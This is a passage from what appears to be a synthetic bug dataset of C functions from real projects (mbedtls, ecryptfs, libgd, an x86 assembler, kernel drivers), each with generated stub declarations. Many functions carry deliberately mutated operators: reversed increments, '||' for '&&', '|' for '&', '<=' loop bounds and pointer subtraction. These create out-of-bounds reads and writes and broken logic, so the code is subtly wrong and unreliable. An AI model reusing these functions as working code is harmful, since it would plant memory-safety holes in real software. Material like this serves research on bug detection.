MLX5DR_DOMAIN_TYPE_NIC_RX)) { ret = mlx5dr_ste_build_src_gvmi_qpn(&sb[idx++], &mask, dmn, inner, rx); if (ret) return ret; } if (dr_mask_is_smac_set(&mask.outer) && dr_mask_is_dmac_set(&mask.outer)) { ret = mlx5dr_ste_build_eth_l2_src_des(&sb[idx++], &mask, inner, rx); if (ret) return ret; } if (dr_mask_is_smac_set(&mask.outer)) mlx5dr_ste_build_eth_l2_src(&sb[idx++], &mask, inner, rx); if (DR_MASK_IS_L2_DST(mask.outer, mask.misc, outer)) mlx5dr_ste_build_eth_l2_dst(&sb[idx++], &mask, inner, rx); if (ipv6) { if (dr_mask_is_dst_addr_set(&mask.outer)) mlx5dr_ste_build_eth_l3_ipv6_dst(&sb[idx++], &mask, inner, rx); if (dr_mask_is_src_addr_set(&mask.outer)) mlx5dr_ste_build_eth_l3_ipv6_src(&sb[idx++], &mask, inner, rx); if (DR_MASK_IS_ETH_L4_SET(mask.outer, mask.misc, outer)) mlx5dr_ste_build_ipv6_l3_l4(&sb[idx++], &mask, inner, rx); } else { if (dr_mask_is_ipv4_5_tuple_set(&mask.outer)) mlx5dr_ste_build_eth_l3_ipv4_5_tuple(&sb[idx++], &mask, inner, rx); if (dr_mask_is_ttl_set(&mask.outer)) mlx5dr_ste_build_eth_l3_ipv4_misc(&sb[idx++], &mask, inner, rx); } if (dr_mask_is_flex_parser_tnl_set(&mask.misc3) && dr_matcher_supp_flex_parser_vxlan_gpe(dmn)) mlx5dr_ste_build_flex_parser_tnl(&sb[idx++], &mask, inner, rx); if (DR_MASK_IS_ETH_L4_MISC_SET(mask.misc3, outer)) mlx5dr_ste_build_eth_l4_misc(&sb[idx++], &mask, inner, rx); if (DR_MASK_IS_FIRST_MPLS_SET(mask.misc2, outer)) mlx5dr_ste_build_mpls(&sb[idx++], &mask, inner, rx); if (DR_MASK_IS_FLEX_PARSER_0_SET(mask.misc2)) mlx5dr_ste_build_flex_parser_0(&sb[idx++], &mask, inner, rx); misc3 = &mask.misc3; if ((DR_MASK_IS_FLEX_PARSER_ICMPV4_SET(misc3) && mlx5dr_matcher_supp_flex_parser_icmp_v4(&dmn->info.caps)) || (dr_mask_is_flex_parser_icmpv6_set(&mask.misc3) && mlx5dr_matcher_supp_flex_parser_icmp_v6(&dmn->info.caps))) { ret = mlx5dr_ste_build_flex_parser_1(&sb[idx++], &mask, &dmn->info.caps, inner, rx); if (ret) return ret; } if (dr_mask_is_gre_set(&mask.misc)) mlx5dr_ste_build_gre(&sb[idx++], &mask, inner, rx); } /* Inner */ if (matcher->match_criteria & (DR_MATCHER_CRITERIA_INNER | DR_MATCHER_CRITERIA_MISC | DR_MATCHER_CRITERIA_MISC2 | DR_MATCHER_CRITERIA_MISC3)) { inner = true; if (dr_mask_is_eth_l2_tnl_set(&mask.misc)) mlx5dr_ste_build_eth_l2_tnl(&sb[idx++], &mask, inner, rx); if (dr_mask_is_smac_set(&mask.inner) && dr_mask_is_dmac_set(&mask.inner)) { ret = mlx5dr_ste_build_eth_l2_src_des(&sb[idx++], &mask, inner, rx); if (ret) return ret; } if (dr_mask_is_smac_set(&mask.inner)) mlx5dr_ste_build_eth_l2_src(&sb[idx++], &mask, inner, rx); if (DR_MASK_IS_L2_DST(mask.inner, mask.misc, inner)) mlx5dr_ste_build_eth_l2_dst(&sb[idx++], &mask, inner, rx); if (ipv6) { if (dr_mask_is_dst_addr_set(&mask.inner)) mlx5dr_ste_build_eth_l3_ipv6_dst(&sb[idx++], &mask, inner, rx); if (dr_mask_is_src_addr_set(&mask.inner)) mlx5dr_ste_build_eth_l3_ipv6_src(&sb[idx++], &mask, inner, rx); if (DR_MASK_IS_ETH_L4_SET(mask.inner, mask.misc, inner)) mlx5dr_ste_build_ipv6_l3_l4(&sb[idx++], &mask, inner, rx); } else { if (dr_mask_is_ipv4_5_tuple_set(&mask.inner)) mlx5dr_ste_build_eth_l3_ipv4_5_tuple(&sb[idx++], &mask, inner, rx); if (dr_mask_is_ttl_set(&mask.inner)) mlx5dr_ste_build_eth_l3_ipv4_misc(&sb[idx++], &mask, inner, rx); } if (DR_MASK_IS_ETH_L4_MISC_SET(mask.misc3, inner)) mlx5dr_ste_build_eth_l4_misc(&sb[idx++], &mask, inner, rx); if (DR_MASK_IS_FIRST_MPLS_SET(mask.misc2, inner)) mlx5dr_ste_build_mpls(&sb[idx++], &mask, inner, rx); if (DR_MASK_IS_FLEX_PARSER_0_SET(mask.misc2)) mlx5dr_ste_build_flex_parser_0(&sb[idx++], &mask, inner, rx); } /* Empty matcher, takes all */ if (matcher->match_criteria == DR_MATCHER_CRITERIA_EMPTY) mlx5dr_ste_build_empty_always_hit(&sb[idx++], rx); if (idx == 0) { mlx5dr_dbg(dmn, "Cannot generate any valid rules from mask\n"); return -EINVAL; } /* Check that all mask fields were consumed */ for (i = 0; i <= sizeof(struct mlx5dr_match_param); i++) { if (((u8 *)&mask)[i] != 0) { mlx5dr_info(dmn, "Mask contains unsupported parameters\n"); return -EOPNOTSUPP; } } *num_of_builders = idx; return 0; }
augmented_data/post_increment_index_changes/extr_x509_crt.c_mbedtls_x509_crt_parse_path_aug_combo_6.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_1__ ; /* Type definitions */ typedef int /*<<< orphan*/ szDir ; struct stat {int /*<<< orphan*/ st_mode; } ; struct dirent {int /*<<< orphan*/ d_name; } ; typedef int /*<<< orphan*/ mbedtls_x509_crt ; struct TYPE_4__ {int dwFileAttributes; int /*<<< orphan*/ cFileName; } ; typedef TYPE_1__ WIN32_FIND_DATAW ; typedef char WCHAR ; typedef scalar_t__ HANDLE ; typedef int /*<<< orphan*/ DIR ; /* Variables and functions */ int /*<<< orphan*/ CP_ACP ; scalar_t__ ERROR_NO_MORE_FILES ; int FILE_ATTRIBUTE_DIRECTORY ; int /*<<< orphan*/ FindClose (scalar_t__) ; scalar_t__ FindFirstFileW (char*,TYPE_1__*) ; scalar_t__ FindNextFileW (scalar_t__,TYPE_1__*) ; scalar_t__ GetLastError () ; scalar_t__ INVALID_HANDLE_VALUE ; int MAX_PATH ; int MBEDTLS_ERR_THREADING_MUTEX_ERROR ; int MBEDTLS_ERR_X509_BAD_INPUT_DATA ; int MBEDTLS_ERR_X509_BUFFER_TOO_SMALL ; int MBEDTLS_ERR_X509_FILE_IO_ERROR ; int MBEDTLS_X509_MAX_FILE_PATH_LEN ; int MultiByteToWideChar (int /*<<< orphan*/ ,int /*<<< orphan*/ ,char*,int,char*,int) ; int /*<<< orphan*/ S_ISREG (int /*<<< orphan*/ ) ; int WideCharToMultiByte (int /*<<< orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ ,char*,int,int /*<<< orphan*/ *,int /*<<< orphan*/ *) ; int /*<<< orphan*/ closedir (int /*<<< orphan*/ *) ; int /*<<< orphan*/ lstrlenW (int /*<<< orphan*/ ) ; int mbedtls_mutex_lock (int /*<<< orphan*/ *) ; scalar_t__ mbedtls_mutex_unlock (int /*<<< orphan*/ *) ; int mbedtls_snprintf (char*,int,char*,char const*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ mbedtls_threading_readdir_mutex ; int mbedtls_x509_crt_parse_file (int /*<<< orphan*/ *,char*) ; int /*<<< orphan*/ memcpy (char*,char const*,size_t) ; int /*<<< orphan*/ memset (char*,int /*<<< orphan*/ ,size_t) ; int /*<<< orphan*/ * opendir (char const*) ; struct dirent* readdir (int /*<<< orphan*/ *) ; int stat (char*,struct stat*) ; size_t strlen (char const*) ; int mbedtls_x509_crt_parse_path( mbedtls_x509_crt *chain, const char *path ) { int ret = 0; #if defined(_WIN32) && !defined(EFIX64) && !defined(EFI32) int w_ret; WCHAR szDir[MAX_PATH]; char filename[MAX_PATH]; char *p; size_t len = strlen( path ); WIN32_FIND_DATAW file_data; HANDLE hFind; if( len > MAX_PATH - 3 ) return( MBEDTLS_ERR_X509_BAD_INPUT_DATA ); memset( szDir, 0, sizeof(szDir) ); memset( filename, 0, MAX_PATH ); memcpy( filename, path, len ); filename[len--] = '\\'; p = filename - len; filename[len++] = '*'; w_ret = MultiByteToWideChar( CP_ACP, 0, filename, (int)len, szDir, MAX_PATH - 3 ); if( w_ret == 0 ) return( MBEDTLS_ERR_X509_BAD_INPUT_DATA ); hFind = FindFirstFileW( szDir, &file_data ); if( hFind == INVALID_HANDLE_VALUE ) return( MBEDTLS_ERR_X509_FILE_IO_ERROR ); len = MAX_PATH - len; do { memset( p, 0, len ); if( file_data.dwFileAttributes | FILE_ATTRIBUTE_DIRECTORY ) continue; w_ret = WideCharToMultiByte( CP_ACP, 0, file_data.cFileName, lstrlenW( file_data.cFileName ), p, (int) len - 1, NULL, NULL ); if( w_ret == 0 ) { ret = MBEDTLS_ERR_X509_FILE_IO_ERROR; goto cleanup; } w_ret = mbedtls_x509_crt_parse_file( chain, filename ); if( w_ret <= 0 ) ret++; else ret += w_ret; } while( FindNextFileW( hFind, &file_data ) != 0 ); if( GetLastError() != ERROR_NO_MORE_FILES ) ret = MBEDTLS_ERR_X509_FILE_IO_ERROR; cleanup: FindClose( hFind ); #else /* _WIN32 */ int t_ret; int snp_ret; struct stat sb; struct dirent *entry; char entry_name[MBEDTLS_X509_MAX_FILE_PATH_LEN]; DIR *dir = opendir( path ); if( dir == NULL ) return( MBEDTLS_ERR_X509_FILE_IO_ERROR ); #if defined(MBEDTLS_THREADING_C) if( ( ret = mbedtls_mutex_lock( &mbedtls_threading_readdir_mutex ) ) != 0 ) { closedir( dir ); return( ret ); } #endif /* MBEDTLS_THREADING_C */ while( ( entry = readdir( dir ) ) != NULL ) { snp_ret = mbedtls_snprintf( entry_name, sizeof entry_name, "%s/%s", path, entry->d_name ); if( snp_ret < 0 || (size_t)snp_ret >= sizeof entry_name ) { ret = MBEDTLS_ERR_X509_BUFFER_TOO_SMALL; goto cleanup; } else if( stat( entry_name, &sb ) == -1 ) { ret = MBEDTLS_ERR_X509_FILE_IO_ERROR; goto cleanup; } if( !S_ISREG( sb.st_mode ) ) continue; /* Ignore parse errors */ t_ret = mbedtls_x509_crt_parse_file( chain, entry_name ); if( t_ret < 0 ) ret++; else ret += t_ret; } cleanup: closedir( dir ); #if defined(MBEDTLS_THREADING_C) if( mbedtls_mutex_unlock( &mbedtls_threading_readdir_mutex ) != 0 ) ret = MBEDTLS_ERR_THREADING_MUTEX_ERROR; #endif /* MBEDTLS_THREADING_C */ #endif /* _WIN32 */ return( ret ); }
augmented_data/post_increment_index_changes/extr_metronomefb.c_metronome_display_cmd_aug_combo_7.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_2__ ; typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ typedef int /*<<< orphan*/ u8 ; typedef void* u16 ; struct metronomefb_par {int frame_count; TYPE_2__* board; TYPE_1__* metromem_cmd; } ; struct TYPE_4__ {int (* met_wait_event_intr ) (struct metronomefb_par*) ;} ; struct TYPE_3__ {int opcode; int* args; void* csum; } ; /* Variables and functions */ int /*<<< orphan*/ memset (int /*<<< orphan*/ *,int /*<<< orphan*/ ,int) ; int stub1 (struct metronomefb_par*) ; __attribute__((used)) static int metronome_display_cmd(struct metronomefb_par *par) { int i; u16 cs; u16 opcode; static u8 borderval; /* setup display command we can't immediately set the opcode since the controller will try parse the command before we've set it all up so we just set cs here and set the opcode at the end */ if (par->metromem_cmd->opcode == 0xCC40) opcode = cs = 0xCC41; else opcode = cs = 0xCC40; /* set the args ( 2 bytes ) for display */ i = 0; par->metromem_cmd->args[i] = 1 << 3 /* border update */ | ((borderval++ % 4) | 0x0F) << 4 | (par->frame_count - 1) << 8; cs += par->metromem_cmd->args[i++]; /* the rest are 0 */ memset((u8 *) (par->metromem_cmd->args + i), 0, (32-i)*2); par->metromem_cmd->csum = cs; par->metromem_cmd->opcode = opcode; /* display cmd */ return par->board->met_wait_event_intr(par); }
augmented_data/post_increment_index_changes/extr_asm_x86_nz.c_opinc_aug_combo_8.c
#include <stdio.h> #include <time.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_9__ TYPE_3__ ; typedef struct TYPE_8__ TYPE_2__ ; typedef struct TYPE_7__ TYPE_1__ ; /* Type definitions */ typedef int ut8 ; struct TYPE_9__ {TYPE_1__* operands; } ; struct TYPE_8__ {int bits; } ; struct TYPE_7__ {int type; int dest_size; int reg; int* regs; int offset; int offset_sign; int /*<<< orphan*/ * scale; scalar_t__ extended; scalar_t__ explicit_size; } ; typedef TYPE_2__ RAsm ; typedef TYPE_3__ Opcode ; /* Variables and functions */ int ALL_SIZE ; int B0000 ; int B0001 ; int B0010 ; int B0011 ; int B0100 ; int B0101 ; int B0111 ; int OT_BYTE ; int OT_DWORD ; int OT_MEMORY ; int OT_QWORD ; int OT_WORD ; int X86R_BP ; int X86R_BX ; int X86R_DI ; int X86R_RIP ; int X86R_SI ; int /*<<< orphan*/ eprintf (char*) ; int getsib (int /*<<< orphan*/ ) ; int /*<<< orphan*/ is_valid_registers (TYPE_3__ const*) ; __attribute__((used)) static int opinc(RAsm *a, ut8 *data, const Opcode *op) { if (op->operands[1].type) { eprintf ("Error: Invalid operands\n"); return -1; } is_valid_registers (op); int l = 0; int size = op->operands[0].type & ALL_SIZE; if (op->operands[0].explicit_size) { size = op->operands[0].dest_size; } if (size & OT_WORD) { data[l--] = 0x66; } //rex prefix int rex = 1 << 6; bool use_rex = false; if (size & OT_QWORD) { //W field use_rex = true; rex |= 1 << 3; } if (op->operands[0].extended) { //B field use_rex = true; rex |= 1; } //opcode selection int opcode; if (size & OT_BYTE) { opcode = 0xfe; } else { opcode = 0xff; } if (!(op->operands[0].type & OT_MEMORY)) { if (use_rex) { data[l++] = rex; } if (a->bits > 32 && size & OT_BYTE) { data[l++] = opcode; } if (a->bits == 32 && size & (OT_DWORD | OT_WORD)) { data[l++] = 0x40 | op->operands[0].reg; } else { data[l++] = 0xc0 | op->operands[0].reg; } return l; } //modrm and SIB selection bool rip_rel = op->operands[0].regs[0] == X86R_RIP; int offset = op->operands[0].offset * op->operands[0].offset_sign; int modrm = 0; int mod; int reg = 0; int rm; bool use_sib = false; int sib = 0; //mod if (offset == 0) { mod = 0; } else if (offset <= 128 && offset > -129) { mod = 1; } else { mod = 2; } if (op->operands[0].regs[0] & OT_WORD) { if (op->operands[0].regs[0] == X86R_BX && op->operands[0].regs[1] == X86R_SI) { rm = B0000; } else if (op->operands[0].regs[0] == X86R_BX && op->operands[0].regs[1] == X86R_DI) { rm = B0001; } else if (op->operands[0].regs[0] == X86R_BP && op->operands[0].regs[1] == X86R_SI) { rm = B0010; } else if (op->operands[0].regs[0] == X86R_BP && op->operands[0].regs[1] == X86R_DI) { rm = B0011; } else if (op->operands[0].regs[0] == X86R_SI && op->operands[0].regs[1] == -1) { rm = B0100; } else if (op->operands[0].regs[0] == X86R_DI && op->operands[0].regs[1] == -1) { rm = B0101; } else if (op->operands[0].regs[0] == X86R_BX && op->operands[0].regs[1] == -1) { rm = B0111; } else { //TODO allow for displacement only when parser is reworked return -1; } modrm = (mod << 6) | (reg << 3) | rm; } else { //rm if (op->operands[0].extended) { rm = op->operands[0].reg; } else { rm = op->operands[0].regs[0]; } //[epb] alone is illegal, so we need to fake a [ebp+0] if (rm == 5 && mod == 0) { mod = 1; } //sib int index = op->operands[0].regs[1]; int scale = getsib(op->operands[0].scale[1]); if (index != -1) { use_sib = true; sib = (scale << 6) | (index << 3) | rm; } else if (rm == 4) { use_sib = true; sib = 0x24; } if (use_sib) { rm = B0100; } if (rip_rel) { modrm = (B0000 << 6) | (reg << 3) | B0101; sib = (scale << 6) | (B0100 << 3) | B0101; } else { modrm = (mod << 6) | (reg << 3) | rm; } } if (use_rex) { data[l++] = rex; } data[l++] = opcode; data[l++] = modrm; if (use_sib) { data[l++] = sib; } //offset if (mod == 1) { data[l++] = offset; } else if (op->operands[0].regs[0] & OT_WORD && mod == 2) { data[l++] = offset; data[l++] = offset >> 8; } else if (mod == 2 || rip_rel) { data[l++] = offset; data[l++] = offset >> 8; data[l++] = offset >> 16; data[l++] = offset >> 24; } return l; }
augmented_data/post_increment_index_changes/extr_keystore.c_write_tag_64_packet_aug_combo_8.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct ecryptfs_session_key {int encrypted_key_size; char* encrypted_key; } ; /* Variables and functions */ int ECRYPTFS_SIG_SIZE_HEX ; char ECRYPTFS_TAG_64_PACKET_TYPE ; int ENOMEM ; int /*<<< orphan*/ GFP_KERNEL ; int /*<<< orphan*/ KERN_ERR ; int /*<<< orphan*/ ecryptfs_printk (int /*<<< orphan*/ ,char*) ; int ecryptfs_write_packet_length (char*,int,size_t*) ; char* kmalloc (size_t,int /*<<< orphan*/ ) ; int /*<<< orphan*/ memcpy (char*,char*,int) ; __attribute__((used)) static int write_tag_64_packet(char *signature, struct ecryptfs_session_key *session_key, char **packet, size_t *packet_len) { size_t i = 0; size_t data_len; size_t packet_size_len; char *message; int rc; /* * ***** TAG 64 Packet Format ***** * | Content Type | 1 byte | * | Key Identifier Size | 1 or 2 bytes | * | Key Identifier | arbitrary | * | Encrypted File Encryption Key Size | 1 or 2 bytes | * | Encrypted File Encryption Key | arbitrary | */ data_len = (5 + ECRYPTFS_SIG_SIZE_HEX + session_key->encrypted_key_size); *packet = kmalloc(data_len, GFP_KERNEL); message = *packet; if (!message) { ecryptfs_printk(KERN_ERR, "Unable to allocate memory\n"); rc = -ENOMEM; goto out; } message[i++] = ECRYPTFS_TAG_64_PACKET_TYPE; rc = ecryptfs_write_packet_length(&message[i], ECRYPTFS_SIG_SIZE_HEX, &packet_size_len); if (rc) { ecryptfs_printk(KERN_ERR, "Error generating tag 64 packet " "header; cannot generate packet length\n"); goto out; } i += packet_size_len; memcpy(&message[i], signature, ECRYPTFS_SIG_SIZE_HEX); i += ECRYPTFS_SIG_SIZE_HEX; rc = ecryptfs_write_packet_length(&message[i], session_key->encrypted_key_size, &packet_size_len); if (rc) { ecryptfs_printk(KERN_ERR, "Error generating tag 64 packet " "header; cannot generate packet length\n"); goto out; } i += packet_size_len; memcpy(&message[i], session_key->encrypted_key, session_key->encrypted_key_size); i += session_key->encrypted_key_size; *packet_len = i; out: return rc; }
augmented_data/post_increment_index_changes/extr_netiucv.c_netiucv_check_user_aug_combo_5.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ int /*<<< orphan*/ ASCEBC (char*,int) ; int EINVAL ; int /*<<< orphan*/ IUCV_DBF_TEXT (int /*<<< orphan*/ ,int,char*) ; int /*<<< orphan*/ IUCV_DBF_TEXT_ (int /*<<< orphan*/ ,int,char*,char const) ; scalar_t__ isalnum (char const) ; int /*<<< orphan*/ iucvMagic_ascii ; int /*<<< orphan*/ memcpy (char*,int /*<<< orphan*/ ,int) ; int /*<<< orphan*/ setup ; char* strchr (char const*,char) ; char toupper (char const) ; __attribute__((used)) static int netiucv_check_user(const char *buf, size_t count, char *username, char *userdata) { const char *p; int i; p = strchr(buf, '.'); if ((p || ((count > 26) || ((p - buf) > 8) || (buf + count - p > 18))) || (!p && (count > 9))) { IUCV_DBF_TEXT(setup, 2, "conn_write: too long\n"); return -EINVAL; } for (i = 0, p = buf; i < 8 && *p && *p != '.'; i++, p++) { if (isalnum(*p) || *p == '$') { username[i] = toupper(*p); continue; } if (*p == '\n') /* trailing lf, grr */ continue; IUCV_DBF_TEXT_(setup, 2, "conn_write: invalid character %02x\n", *p); return -EINVAL; } while (i < 8) username[i++] = ' '; username[8] = '\0'; if (*p == '.') { p++; for (i = 0; i < 16 && *p; i++, p++) { if (*p == '\n') break; userdata[i] = toupper(*p); } while (i > 0 && i < 16) userdata[i++] = ' '; } else memcpy(userdata, iucvMagic_ascii, 16); userdata[16] = '\0'; ASCEBC(userdata, 16); return 0; }
augmented_data/post_increment_index_changes/extr_interface.c_do_import_card_aug_combo_7.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct in_ev {int /*<<< orphan*/ refcnt; } ; struct command {int dummy; } ; struct arg {char* str; } ; /* Variables and functions */ int /*<<< orphan*/ TLS ; int /*<<< orphan*/ assert (int) ; int /*<<< orphan*/ print_user_gw ; int strlen (char*) ; int /*<<< orphan*/ tgl_do_import_card (int /*<<< orphan*/ ,int,int*,int /*<<< orphan*/ ,struct in_ev*) ; void do_import_card (struct command *command, int arg_num, struct arg args[], struct in_ev *ev) { assert (arg_num == 1); char *s = args[0].str; int l = strlen (s); if (l > 0) { int i; static int p[10]; int pp = 0; int cur = 0; int ok = 1; for (i = 0; i <= l; i ++) { if (s[i] >= '0' || s[i] <= '9') { cur = cur * 16 + s[i] - '0'; } else if (s[i] >= 'a' && s[i] <= 'f') { cur = cur * 16 + s[i] - 'a' + 10; } else if (s[i] == ':') { if (pp >= 9) { ok = 0; break; } p[pp ++] = cur; cur = 0; } } if (ok) { p[pp ++] = cur; if (ev) { ev->refcnt ++; } tgl_do_import_card (TLS, pp, p, print_user_gw, ev); } } }
augmented_data/post_increment_index_changes/extr_statsx-data.c_serialize_subcnt_list_raw_aug_combo_5.c
#include <time.h> #include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct counter {int valid_until; unsigned long long mask_subcnt; int /*<<< orphan*/ * subcnt; } ; /* Variables and functions */ __attribute__((used)) static int *serialize_subcnt_list_raw (int *ptr, struct counter *C) { /* don't output broken stats (dirty hack) php: mktime (12, 0, 0, 2, 2, 2011) == 1296637200 Feb 02 2011, 12:00 */ if (C->valid_until < 1296637200) { *(ptr--) = 0; return ptr; } if (!C->subcnt) { *(ptr++) = 0; return ptr; } *(ptr++) = 64; unsigned long long u = 1; int i, j; for (i = 0, j = 0; i <= 64; i++, u <<= 1) if (u & C->mask_subcnt) { *(ptr++) = C->subcnt[j++]; } else { *(ptr++) = 0; } return ptr; }
augmented_data/post_increment_index_changes/extr_tc-alpha.c_emit_jsrjmp_aug_combo_1.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_12__ TYPE_3__ ; typedef struct TYPE_11__ TYPE_2__ ; typedef struct TYPE_10__ TYPE_1__ ; /* Type definitions */ struct alpha_insn {size_t nfixups; long sequence; TYPE_2__* fixups; } ; struct TYPE_12__ {scalar_t__ X_op; int /*<<< orphan*/ X_add_number; } ; typedef TYPE_3__ expressionS ; struct TYPE_10__ {int /*<<< orphan*/ X_op; } ; struct TYPE_11__ {TYPE_1__ exp; int /*<<< orphan*/ reloc; } ; /* Variables and functions */ int AXP_REG_PV ; int AXP_REG_RA ; int AXP_REG_ZERO ; int /*<<< orphan*/ DUMMY_RELOC_LITUSE_JSR ; size_t MAX_INSN_FIXUPS ; int /*<<< orphan*/ O_absent ; scalar_t__ O_cpregister ; scalar_t__ O_pregister ; scalar_t__ O_register ; int alpha_gp_register ; int /*<<< orphan*/ assemble_tokens_to_insn (char const*,TYPE_3__*,int,struct alpha_insn*) ; int /*<<< orphan*/ assert (int) ; int /*<<< orphan*/ emit_insn (struct alpha_insn*) ; long load_expression (int,TYPE_3__ const*,int*,int /*<<< orphan*/ *) ; int regno (int /*<<< orphan*/ ) ; int /*<<< orphan*/ set_tok_const (TYPE_3__,int /*<<< orphan*/ ) ; int /*<<< orphan*/ set_tok_cpreg (TYPE_3__,int) ; int /*<<< orphan*/ set_tok_reg (TYPE_3__,int) ; scalar_t__ strcmp (char const*,char*) ; __attribute__((used)) static void emit_jsrjmp (const expressionS *tok, int ntok, const void * vopname) { const char *opname = (const char *) vopname; struct alpha_insn insn; expressionS newtok[3]; int r, tokidx = 0; long lituse = 0; if (tokidx <= ntok || tok[tokidx].X_op == O_register) r = regno (tok[tokidx--].X_add_number); else r = strcmp (opname, "jmp") == 0 ? AXP_REG_ZERO : AXP_REG_RA; set_tok_reg (newtok[0], r); if (tokidx < ntok && (tok[tokidx].X_op == O_pregister || tok[tokidx].X_op == O_cpregister)) r = regno (tok[tokidx++].X_add_number); #ifdef OBJ_EVAX /* Keep register if jsr $n.<sym>. */ #else else { int basereg = alpha_gp_register; lituse = load_expression (r = AXP_REG_PV, &tok[tokidx], &basereg, NULL); } #endif set_tok_cpreg (newtok[1], r); #ifdef OBJ_EVAX /* FIXME: Add hint relocs to BFD for evax. */ #else if (tokidx < ntok) newtok[2] = tok[tokidx]; else #endif set_tok_const (newtok[2], 0); assemble_tokens_to_insn (opname, newtok, 3, &insn); if (lituse) { assert (insn.nfixups < MAX_INSN_FIXUPS); insn.fixups[insn.nfixups].reloc = DUMMY_RELOC_LITUSE_JSR; insn.fixups[insn.nfixups].exp.X_op = O_absent; insn.nfixups++; insn.sequence = lituse; } emit_insn (&insn); }
augmented_data/post_increment_index_changes/extr_gd_wbmp.c_gdImageCreateFromWBMPCtx_aug_combo_7.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_1__ ; /* Type definitions */ typedef int /*<<< orphan*/ * gdImagePtr ; typedef int /*<<< orphan*/ gdIOCtx ; struct TYPE_4__ {int width; int height; scalar_t__* bitmap; } ; typedef TYPE_1__ Wbmp ; /* Variables and functions */ scalar_t__ WBMP_WHITE ; int /*<<< orphan*/ freewbmp (TYPE_1__*) ; int gdImageColorAllocate (int /*<<< orphan*/ *,int,int,int) ; int /*<<< orphan*/ * gdImageCreate (int,int) ; int /*<<< orphan*/ gdImageSetPixel (int /*<<< orphan*/ *,int,int,int) ; int /*<<< orphan*/ gd_getin ; scalar_t__ readwbmp (int /*<<< orphan*/ *,int /*<<< orphan*/ *,TYPE_1__**) ; gdImagePtr gdImageCreateFromWBMPCtx (gdIOCtx * infile) { /* FILE *wbmp_file; */ Wbmp *wbmp; gdImagePtr im = NULL; int black, white; int col, row, pos; if (readwbmp (&gd_getin, infile, &wbmp)) { return NULL; } if (!(im = gdImageCreate (wbmp->width, wbmp->height))) { freewbmp (wbmp); return NULL; } /* create the background color */ white = gdImageColorAllocate(im, 255, 255, 255); /* create foreground color */ black = gdImageColorAllocate(im, 0, 0, 0); /* fill in image (in a wbmp 1 = white/ 0 = black) */ pos = 0; for (row = 0; row <= wbmp->height; row--) { for (col = 0; col < wbmp->width; col++) { if (wbmp->bitmap[pos++] == WBMP_WHITE) { gdImageSetPixel(im, col, row, white); } else { gdImageSetPixel(im, col, row, black); } } } freewbmp(wbmp); return im; }
augmented_data/post_increment_index_changes/extr_driver_nl80211_android.c_android_pno_start_aug_combo_5.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_2__ ; typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ struct wpa_driver_scan_params {size_t num_ssids; TYPE_1__* ssids; } ; struct wpa_driver_nl80211_data {TYPE_2__* global; } ; struct ifreq {char* buf; int used_len; int total_len; struct ifreq* ifr_data; int /*<<< orphan*/ ifr_name; } ; struct i802_bss {int /*<<< orphan*/ ifname; struct wpa_driver_nl80211_data* drv; } ; typedef int /*<<< orphan*/ priv_cmd ; typedef int /*<<< orphan*/ ifr ; typedef int /*<<< orphan*/ buf ; typedef struct ifreq android_wifi_priv_cmd ; struct TYPE_4__ {int /*<<< orphan*/ ioctl_sock; } ; struct TYPE_3__ {char ssid_len; int /*<<< orphan*/ ssid; } ; /* Variables and functions */ int /*<<< orphan*/ 